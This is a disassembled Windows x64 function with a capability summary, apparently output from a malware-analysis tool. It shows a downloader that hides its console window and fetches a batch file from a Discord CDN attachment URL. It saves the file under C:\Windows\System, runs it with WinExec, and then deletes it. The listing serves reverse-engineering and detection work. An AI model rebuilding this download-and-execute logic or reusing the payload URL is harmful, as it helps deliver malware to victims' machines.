Function at 0x14003afb0
Capabilities:
Create directory
Create http request
Create process on windows
Delete file
Read data from internet
Receive data
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x1080]
mov eax, 0x1180
call fcn.1400a4670
sub rsp, rax
mov rax, qword [0x1400cf0c0]
xor rax, rsp
mov qword [rbp + 0x1070], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov ecx, Ordinal_50
call fcn.1400a3f78
mov qword [rsp + 0x38], rax
movdqa xmm0, xmmword [reloc.WS2_32.dll_sendto]
movdqu xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [0x1400bc440]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x1400bc450]
movups xmmword [rax + 0x10], xmm0
movsd xmm0, qword [0x1400bc460]
movsd qword [rax + 0x20], xmm0
xor ebx, ebx
mov word [rax + 0x28], bx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rcx, qword [rsp + 0x38]
lea edx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 1]
lea rcx, str.Download
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
je 0x14003b1c4
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__cdn.discordapp.com_attachments_1189764987024056361_1213259846107922462_mac.bat_ex65f4d348is65e25e48hm112f473962d67e02f4bf140bd57fbb002f0fb5383fe1505af96a52724c8848a5
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14003b1c4
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.C:_Windows_System_xd_mac.bat
lea rcx, [rsp + 0x60]
call fcn.14003e9b0
nop
cmp qword [rbp - 0x18], 0
je 0x14003b173
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rbp + 0x70]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14003b146
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x14003b146
mov r8d, eax
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rbp + 0x70]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14003b110
lea rcx, [rsp + 0x68]
call fcn.14003f820
test rax, rax
jne 0x14003b173
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x68]
call fcn.14003e940
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor edx, edx
lea rcx, str.C:_Windows_System_xd_mac.bat
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:_Windows_System_xd_mac.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x14003b231
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b22c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b22c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a3c4c
mov rcx, qword [rbp + 0x1070]
xor rcx, rsp
call fcn.1400a3990
mov rbx, qword [rsp + 0x1190]
add rsp, 0x1180
pop rbp
ret